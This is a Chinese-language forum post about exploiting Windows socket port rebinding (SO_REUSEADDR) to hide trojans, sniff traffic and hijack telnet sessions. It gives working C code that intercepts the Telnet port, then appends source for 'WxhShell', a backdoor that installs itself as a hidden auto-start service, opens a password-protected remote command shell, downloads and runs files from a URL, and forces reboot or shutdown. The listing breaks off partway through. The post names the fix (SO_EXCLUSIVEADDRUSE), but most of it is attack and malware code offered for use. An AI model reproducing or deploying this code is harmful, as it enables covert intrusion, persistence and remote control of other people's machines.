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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P.cyO3l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {7[Ox<Ho  
Jy)/%p~  
  saddr.sin_family = AF_INET; O.? JmE  
F9PxSk_\9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V~GDPJ+  
/~1+i'7V.,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); llq<egZpm  
dysS9a,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dtDFoETz  
/ZX }Nc g  
  这意味着什么?意味着可以进行如下的攻击: '1[Ft03  
cAw/I@jG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =;L|gtH"  
4W75T2q#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2 ?C)&  
j 7B!h|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )%TmAaj9d  
F,kZU$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8*X4\3:*N  
&=[WIG+rk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qs!5<)6  
w0. u\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +{]j]OP  
k$VlfQ'+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5P bW[  
PCA4k.,T  
  #include mFeP9MfJ  
  #include I%):1\)  
  #include :FF=a3/"6  
  #include    ?6!LL5a.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %#+Hl0,Tt  
  int main() vN $s|R'@  
  {  7GGUV  
  WORD wVersionRequested; (Ldi|jL  
  DWORD ret; BT$_@%ea&  
  WSADATA wsaData; )J |6-C  
  BOOL val; 'u658Tj  
  SOCKADDR_IN saddr; Om&Dw |xG8  
  SOCKADDR_IN scaddr; ~DWl s.  
  int err; vO=fP_  
  SOCKET s; #yen8SskB  
  SOCKET sc; 4-w{BZuS  
  int caddsize; UiWg<_<t  
  HANDLE mt; =4!mAo}  
  DWORD tid;   $G>.\t  
  wVersionRequested = MAKEWORD( 2, 2 ); ]:;&1h3'7  
  err = WSAStartup( wVersionRequested, &wsaData ); iU-j"&L5  
  if ( err != 0 ) { 'w/hw'F6  
  printf("error!WSAStartup failed!\n"); <@}9Bid!o  
  return -1; al0L&z\  
  } jIyQ]:*p  
  saddr.sin_family = AF_INET; Kw}'W 8`c  
   M5B# TAybC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zs;JJk^  
[QTV9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CTK;dM'uQ  
  saddr.sin_port = htons(23); *Ex|9FCt$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1YA% -~  
  { ;S{(]K7i  
  printf("error!socket failed!\n"); Ac6=(B  
  return -1; & kIFcd@  
  } }u|q0>^8  
  val = TRUE; 9mgIUjz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^Cmyx3O^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9Flb|G%  
  { H]s.=.Ki  
  printf("error!setsockopt failed!\n"); )jj0^f1!j  
  return -1; J,G lIv.A  
  } B!yr!DWv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e!`i3KYn"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K,]=6 Rj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )[  ,A_3E  
<#.g=ay  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;4a{$Lw~^9  
  { mmsPLv6  
  ret=GetLastError(); wBzC5T%,  
  printf("error!bind failed!\n"); ]9L oZ)  
  return -1; d _ e WcI  
  } Q\)F;:|  
  listen(s,2); _wcNgFx  
  while(1) BY*Q_Et  
  { |%wX*zaf  
  caddsize = sizeof(scaddr); %\DX#.  
  //接受连接请求 Jwp7gYZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'S~5"6r  
  if(sc!=INVALID_SOCKET) CARzO7 b\w  
  { *=n:-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q&&@v4L   
  if(mt==NULL) JRFtsio*  
  { )+M0Y_r  
  printf("Thread Creat Failed!\n"); g>sSS8R O  
  break; z2c6T.1M  
  } DJir{ \F  
  } *A< 5*Db:F  
  CloseHandle(mt); F?cK- .  
  } }Lv;!  
  closesocket(s); DMS! a$4  
  WSACleanup(); *H122njH+T  
  return 0; F/Pep?'  
  }   OZT.=^:A  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1}37Q&2  
  { >+waX "e  
  SOCKET ss = (SOCKET)lpParam; fh{`Mz,o  
  SOCKET sc; q;U,s)Uz^  
  unsigned char buf[4096]; sGb{9.WK  
  SOCKADDR_IN saddr; 2oU_2P  
  long num; KG@8RtHsQ  
  DWORD val; &{RDM~  
  DWORD ret; | 3%8&@ho  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2%> FR4a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oE~RyS X  
  saddr.sin_family = AF_INET; K#xv u1U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6#yUc_5 \  
  saddr.sin_port = htons(23); P$sxr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {T8Kk)L  
  { m68*y;#  
  printf("error!socket failed!\n"); V:27)]q  
  return -1; S$k&vc(0  
  } jtc~DL  
  val = 100; K>9 ()XT)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fatf*}eln  
  { OH"XrCX7n  
  ret = GetLastError(); e%6QTg5#  
  return -1; sr}E+qf  
  } H1T.(M/"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6Iw\c  
  { TKjFp%  
  ret = GetLastError(); ~4"dweu?  
  return -1; qVPeB,kIz  
  } rbQR,Nf2x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CNIsZ v@Q  
  { RL<c>PY  
  printf("error!socket connect failed!\n"); fQ98(+6  
  closesocket(sc); B;WCTMy}  
  closesocket(ss); q9NoI(]e  
  return -1; d1kJRJ   
  } iCyf Oh  
  while(1) 0g\(+Qg^  
  { [r-p]"R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SB7c.H,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >Se,;cB'/]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [:V$y1  
  num = recv(ss,buf,4096,0); %UM *79  
  if(num>0) _~pbqa,  
  send(sc,buf,num,0); 5PW^j\G-f  
  else if(num==0) 2-b6gc7  
  break; =mGez )T5\  
  num = recv(sc,buf,4096,0); MW{8VH6+  
  if(num>0) T>GM%^h,7-  
  send(ss,buf,num,0); KYP!Rs/j.  
  else if(num==0) d %#b:(,  
  break; c(%|: P^  
  } fzA9'i`  
  closesocket(ss); H|D.6^  
  closesocket(sc); qFNes)_r  
  return 0 ; 2 FFD%O05  
  } 05k0n E  
?rIx/>C9  
g ci    
========================================================== ]_f<kW\1*  
2m[<]$  
下边附上一个代码,,WXhSHELL 6R5Qy]]E  
Lp7SLkwh3M  
========================================================== m`_ONm'T&  
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#include "stdafx.h" "nWw;-V}}  
Uwi7)  
#include <stdio.h> q]M0md  
#include <string.h> A9JdU&  
#include <windows.h> ]tDDq=+v  
#include <winsock2.h> _?OG1t!  
#include <winsvc.h> JG,%qFlk  
#include <urlmon.h> _l]fkk[T  
f9\X>zzB2|  
#pragma comment (lib, "Ws2_32.lib") h@h!,;  
#pragma comment (lib, "urlmon.lib") 2Gdd*=4z  
V!dtF,tH  
#define MAX_USER   100 // 最大客户端连接数 5D l/aHb  
#define BUF_SOCK   200 // sock buffer CA#,THty  
#define KEY_BUFF   255 // 输入 buffer u4_9)P`]0  
W T}H>T  
#define REBOOT     0   // 重启 H4JTGt1"  
#define SHUTDOWN   1   // 关机 L^Fy#p  
(M ~e?s  
#define DEF_PORT   5000 // 监听端口 1r7y]FyH$  
[sb[Z:  
#define REG_LEN     16   // 注册表键长度 d:{O\   
#define SVC_LEN     80   // NT服务名长度 e!r-+.i(  
AvHCO8h|  
// 从dll定义API l$'wDhN*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EyLuO-5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FEVlZ<PW3I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .% OR3"9@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); - R6)ROGl  
z"4~P3>{g  
// wxhshell配置信息 BX^tR1  
struct WSCFG { (3&?wy_l  
  int ws_port;         // 监听端口 -)/$M(Pu"  
  char ws_passstr[REG_LEN]; // 口令 h65-s  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Vhw^T1iV  
  char ws_regname[REG_LEN]; // 注册表键名 &=k,?TJO>  
  char ws_svcname[REG_LEN]; // 服务名 ilva,WFa^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fg{n(TE"8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X~i<g?]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "x /OIf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Y[bMuUb=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [66! bM&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uXq. ]ub  
9<)NvU^-r  
}; (Clkv  
-B\HI*u  
// default Wxhshell configuration zkdetrR  
struct WSCFG wscfg={DEF_PORT,  :#~j:C|  
    "xuhuanlingzhe", OaZQ7BGq  
    1, )tnh4WMh}  
    "Wxhshell", * +wW(#[  
    "Wxhshell", a -moI+y  
            "WxhShell Service", 2,P^n4~A?w  
    "Wrsky Windows CmdShell Service", L z1ME(  
    "Please Input Your Password: ", I,'k>@w{s  
  1, Q?/o%`N  
  "http://www.wrsky.com/wxhshell.exe", <1COZ)   
  "Wxhshell.exe" 9RI-Lq`  
    }; m<g~H4  
CWP2{  
// 消息定义模块 I15{)o(8$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c\V7i#u[d;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t@Nyr&|D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]}(H0?OQR  
char *msg_ws_ext="\n\rExit."; P}G+4Sk  
char *msg_ws_end="\n\rQuit."; D{~fDRR  
char *msg_ws_boot="\n\rReboot..."; 8Dm%@*B^b  
char *msg_ws_poff="\n\rShutdown..."; K:Q<CQ2  
char *msg_ws_down="\n\rSave to "; BFJnV.0M!  
[R7Y}k:9U  
char *msg_ws_err="\n\rErr!"; `I5wV/%ib  
char *msg_ws_ok="\n\rOK!"; L`EBfz\n  
 {s{j~M  
char ExeFile[MAX_PATH]; w(TJ*::T  
int nUser = 0; }XM(:|8J,  
HANDLE handles[MAX_USER]; x7x\Y(@  
int OsIsNt; `%Al>u5  
Q'mM3pq4r  
SERVICE_STATUS       serviceStatus; kd$D 3S ^{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5RpjN: 3  
3gj+%%!G\  
// 函数声明 ZEO,]$Yi7  
int Install(void); 0tB0@Wj  
int Uninstall(void);  y%b F&  
int DownloadFile(char *sURL, SOCKET wsh); yN s,Ll~  
int Boot(int flag); Vr1<^Ib  
void HideProc(void); bB;5s`-  
int GetOsVer(void); r!a3\ep  
int Wxhshell(SOCKET wsl); ^_5r<{7/ :  
void TalkWithClient(void *cs); gH3vk $WS  
int CmdShell(SOCKET sock); 3fJc 9|  
int StartFromService(void); @<]Ekkg  
int StartWxhshell(LPSTR lpCmdLine); h@WhNk7"xa  
">j j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {Wu$YWE*sx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SrK<fAkx  
y e? 'Ze  
// 数据结构和表定义  XJ5 .  
SERVICE_TABLE_ENTRY DispatchTable[] = rkY[E(SY  
{ m&?r%x  
{wscfg.ws_svcname, NTServiceMain}, A1?2*W  
{NULL, NULL} %lGfAYEM=  
}; p >t#@Eu|  
B=A [ymm  
// 自我安装 do+.aOC  
int Install(void) kO*$"w#X[p  
{ n%s]30Xs  
  char svExeFile[MAX_PATH]; "?I y(*^  
  HKEY key; 2WVka  
  strcpy(svExeFile,ExeFile); JOLaP@IPT  
cFnDmt I:  
// 如果是win9x系统,修改注册表设为自启动 l.bYE/F0&  
if(!OsIsNt) { 'B0{_RaTb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gvqxi|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #!KE\OI;@5  
  RegCloseKey(key); YgV817OV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zXxT%ZcCj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4l45N6"  
  RegCloseKey(key); 6Yxh9*N~]  
  return 0; z}ddqZ27G$  
    } >!1.  
  } Rn I&8  
}  J@Q7p}  
else { /j|G(vt5  
.:QLk&a,:,  
// 如果是NT以上系统,安装为系统服务 aL&7 1^R,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H_X [t*2  
if (schSCManager!=0) w{@o^rs  
{ %k?U9pj^  
  SC_HANDLE schService = CreateService hUMf"=q+  
  ( % pd,%pg  
  schSCManager, Z>Wg*sZy)  
  wscfg.ws_svcname, 4 bH^":i(  
  wscfg.ws_svcdisp, pF Rg?-  
  SERVICE_ALL_ACCESS, y)!5R3b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $,}E   
  SERVICE_AUTO_START, 5VAK:eB  
  SERVICE_ERROR_NORMAL, y6, /:qm  
  svExeFile, 9!}8UALD  
  NULL, $!yW_HTx  
  NULL, 1@1U/ss1  
  NULL, =i*;VFc  
  NULL, 0dh aAq`k  
  NULL usCt#eZK  
  ); aV|hCN~  
  if (schService!=0) LS*y  
  { g^{@'}$  
  CloseServiceHandle(schService); es&vMY  
  CloseServiceHandle(schSCManager); |O9 O )o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }h!f eP  
  strcat(svExeFile,wscfg.ws_svcname); Midy"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /}  WDU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7Vo$(kj  
  RegCloseKey(key); kB|B  
  return 0; `FTy+8mw  
    } =mpV YA  
  } v`zJb00DT  
  CloseServiceHandle(schSCManager); 78# v  
} R$TB1w9]  
} QpA/SmJ  
71gT.E  
return 1; E!l!OtFL  
} ^o1*a&~J@  
`_RTw5{  
// 自我卸载 -w_QJ_z_  
int Uninstall(void) Xudg2t)+K  
{ _p&]|~a  
  HKEY key; ZR]25Yy  
)~] (&  
if(!OsIsNt) { NzOo0tz:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IS 2^g>T#1  
  RegDeleteValue(key,wscfg.ws_regname); <_tT<5'[$u  
  RegCloseKey(key); D (m j7oB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;y\IqiA{o  
  RegDeleteValue(key,wscfg.ws_regname); 4.=3M  
  RegCloseKey(key); cy3B({PLy  
  return 0; cK i m-  
  } K3;nY}\>  
} sOJQ,"sB  
} !&/{E [  
else { *HO}~A%Lx  
dA0.v+Foz"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @EpIh&  
if (schSCManager!=0) X+S9{X#Cm  
{ O_ DtvjI'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6%Pdy$ P  
  if (schService!=0) Vz~nT  
  { |J} Mgb-4  
  if(DeleteService(schService)!=0) {  L0@SCt  
  CloseServiceHandle(schService); s4SG[w!d  
  CloseServiceHandle(schSCManager); 9qz6]-K  
  return 0; a]/>ra5{  
  } vbBc}G"w  
  CloseServiceHandle(schService); FCuB\ Q  
  } \r,Q1n?7  
  CloseServiceHandle(schSCManager); Rh{zH~oZ  
} 7-T{a<g  
} % !>I*H  
g,95T Bc  
return 1; MLWM&cFG  
} ;\Y& ce  
T}P".kpbS  
// 从指定url下载文件 !Kj,9NX{U  
int DownloadFile(char *sURL, SOCKET wsh) @I/]D6 ~"  
{ "zRoU$X  
  HRESULT hr;  %. ,=maA  
char seps[]= "/"; mfo1+owT  
char *token; y_IM@)1H~  
char *file; yo )%J  
char myURL[MAX_PATH]; R_7 d@FQ1  
char myFILE[MAX_PATH]; vIwCJN1C  
;u(<h?%e  
strcpy(myURL,sURL); M8Z2Pg\0  
  token=strtok(myURL,seps); "WK{ >T  
  while(token!=NULL) o=?C&f{  
  { 5HO9 +i  
    file=token; h!ZV8yMc  
  token=strtok(NULL,seps); Mo @C9Y0  
  } K7W6ZH9;  
`~;rblo;  
GetCurrentDirectory(MAX_PATH,myFILE); @reeO=  
strcat(myFILE, "\\"); C@W"yYt  
strcat(myFILE, file); ,o,I5>`  
  send(wsh,myFILE,strlen(myFILE),0); ICkp$u^  
send(wsh,"...",3,0); 0B@Jity#!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qj6/[mUr~  
  if(hr==S_OK) R>"OXFaE  
return 0; )5U[o0td  
else Kt|1&Gk  
return 1; /_Z652@  
4NG?_D5&  
} WRDjh7~Efn  
.Pw\~X3!  
// 系统电源模块 .0O2Qqdg  
int Boot(int flag) 3*)ig@e6  
{  S"$m]  
  HANDLE hToken; yH*6@P4:0=  
  TOKEN_PRIVILEGES tkp; Zrr5csE  
D{d>5P?W  
  if(OsIsNt) { HnCzbt@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m"jV}@agX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ) ^3avRsC  
    tkp.PrivilegeCount = 1; p4i]7o@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 16i "Yg!*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J8)#PY[i4  
if(flag==REBOOT) { P7MeX(Tay  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V6#K2  
  return 0; snnbb0J  
} {=-\|(Bx  
else { uDSxTz{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wqW 0v\  
  return 0; *b}lF4O?  
} L^4-5`gj  
  } $N=N(^  
  else { ;cz|ss=  
if(flag==REBOOT) { Ox'/` Mppw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ch%m  
  return 0; -O!Zxg5x  
} y>|{YWbp?  
else {  \qR %%S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ADk8{L{UU  
  return 0; H0R&2#YD  
} aKJQm '9Ks  
} R% ,<\d7  
Xy &uZ  
return 1; V-r3-b  
} <u:WlaS  
M7+h(\H]2  
// win9x进程隐藏模块 &o97u4xi  
void HideProc(void) ,qrQ"r9  
{ GS Q/NYK  
SdwS= (e6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %8M)2 ?E  
  if ( hKernel != NULL ) Io|Aj  
  { 0{PzUIM,W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n[,w f9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JS>Gd/Jd  
    FreeLibrary(hKernel); _fP&&}  
  } R$Tp8G>j  
{ F};n?'  
return; 8Bq!4uq\5|  
} .rJiyED?!  
{; >Q.OX@  
// 获取操作系统版本 P7f,OY<@%o  
int GetOsVer(void) [kgdv6E  
{ (%:>T Q(  
  OSVERSIONINFO winfo; JHJ~X v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q\,o :ZU_  
  GetVersionEx(&winfo); TbF4/T1b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |xvy')(b  
  return 1; 0% #<c p  
  else <ExZ:ip  
  return 0; tpTAeQ*:d  
} I]y.8~xs  
z>06hBv(?Y  
// 客户端句柄模块 U"4?9. k  
int Wxhshell(SOCKET wsl) !'*csg  
{ ~|AwN [  
  SOCKET wsh; r]Ff{la5  
  struct sockaddr_in client; @hImk`&[N  
  DWORD myID; #vqo -y7@  
([V V%ovZ  
  while(nUser<MAX_USER) lM[XS4/TRa  
{ b4""|P?L  
  int nSize=sizeof(client); q;wLa#4)J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "A)( "  
  if(wsh==INVALID_SOCKET) return 1; xN@Pz)yo  
R1W}dRE}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c$QX )V  
if(handles[nUser]==0) ]}6w#)]"  
  closesocket(wsh); 08m;{+|vY  
else C}*cx$.  
  nUser++; ^Mk%z9 ?  
  } cbu@*NzY,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *VkgQ`c  
'2-oh  
  return 0; OcSEo7W  
} Q!FLR>8  
#s%-INcR  
// 关闭 socket ?<yM7O,4  
void CloseIt(SOCKET wsh) _ZAchzV  
{ ;|cTHGxbE  
closesocket(wsh); rBN)a"  
nUser--; G^1b>K  
ExitThread(0); " uPy,<l  
} `:G%   
z>[tF5  
// 客户端请求句柄 5')8r ';,  
void TalkWithClient(void *cs) 9ElCg"  
{ uGl| pJ\y=  
@E53JKYhY  
  SOCKET wsh=(SOCKET)cs; P~FUS%39"o  
  char pwd[SVC_LEN]; Fv)7c4  
  char cmd[KEY_BUFF]; w_iamqe,  
char chr[1]; CC3v%^81l^  
int i,j; l#wdpD a{  
do ^RF<G  
  while (nUser < MAX_USER) { ._96*r=o  
a/uo}[Y  
if(wscfg.ws_passstr) { ag4`n:1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "XLe3n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]fI/(e_U  
  //ZeroMemory(pwd,KEY_BUFF); 4E:bp   
      i=0; W];EKj,3W  
  while(i<SVC_LEN) { &wetzC )  
BD#.-xWV  
  // 设置超时 e|r0zw S  
  fd_set FdRead; ARfRsPxr  
  struct timeval TimeOut; k 2%S`/:  
  FD_ZERO(&FdRead); G8Y+w  
  FD_SET(wsh,&FdRead); I6LD)?  
  TimeOut.tv_sec=8; SgE/!+{  
  TimeOut.tv_usec=0; =BZ?-mIU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (HN4g;{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k,Zm GllQ]  
qOG}[%<^n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [W,-1.$!dM  
  pwd=chr[0]; n|4;Hn1V  
  if(chr[0]==0xd || chr[0]==0xa) { hD<f3_k  
  pwd=0; )DUL)S  
  break; y/@iT8$rp  
  }  !=*.$4  
  i++; (a6?s{(  
    } m^{ xd2  
)-/gLZsx  
  // 如果是非法用户,关闭 socket cub <G!K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^`qPs/b  
} em]xtya  
&4$oudn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WO,xMfK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ev-^[  
cVq}c?  
while(1) { wX'}4Z=C~  
<V_7|)'/A  
  ZeroMemory(cmd,KEY_BUFF); >AI<60/<  
*N/hc  
      // 自动支持客户端 telnet标准   ad`_>lA4Lp  
  j=0; Pcu|k/tk  
  while(j<KEY_BUFF) { lz~J"$b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s([Wn)I  
  cmd[j]=chr[0]; q3'o|pp  
  if(chr[0]==0xa || chr[0]==0xd) { 0d\~"4 R  
  cmd[j]=0; f3 ]  
  break; rvwy~hO"  
  } M>_= "atI  
  j++; I/UQ'xx  
    } 77 :'I  
wh~s Z  
  // 下载文件 uf@U:V  
  if(strstr(cmd,"http://")) { 27#8dV?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h#3m4<w(9  
  if(DownloadFile(cmd,wsh)) |j_`z@7(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hE!7RM+Y  
  else ]X" / yAn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LBX%HGH  
  } Wtv#h~jy9  
  else { [l[{6ZXt  
"'eWn6O(  
    switch(cmd[0]) { Uk-HP\C"7  
  BGjb`U#%3  
  // 帮助 ZxS&4>.  
  case '?': { 3DoRE2}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~/`X*n&  
    break;  ?B4#f!X  
  } SQKt}kDbM  
  // 安装 =2oUZjA  
  case 'i': { D&[Z;,CHMA  
    if(Install()) [{PqV):p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5B8 Z?$a  
    else H(\V+@~>AD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@$-0%,  
    break; *e<_; Kr?  
    } _F8T\f |  
  // 卸载 LC'2q*:'  
  case 'r': { ( D}" &2  
    if(Uninstall()) |@`"F5@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7>x;B  
    else A'DVJ9%xB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3wL<$2[8  
    break; X7e/:._SAH  
    } sA_X<>vAKJ  
  // 显示 wxhshell 所在路径 kQ}s/*  
  case 'p': { .k]#XoE  
    char svExeFile[MAX_PATH]; z/vDgH!s  
    strcpy(svExeFile,"\n\r"); org*z!;.   
      strcat(svExeFile,ExeFile); &]3:D  
        send(wsh,svExeFile,strlen(svExeFile),0); aii'}c  
    break; I>((o`  
    } t&"5dM\  
  // 重启 RWahsJTu  
  case 'b': { B/Ba5z"r$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #S i|!  
    if(Boot(REBOOT)) 3Hm7 uBZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); caD5Pod4  
    else { ,35Ag#va  
    closesocket(wsh); deM~[1e[  
    ExitThread(0); ~N[|bPRmhE  
    } 3zb)"\(R  
    break; ma7fDo0,`h  
    } <R~KM=rL  
  // 关机 Cj$H[K}>  
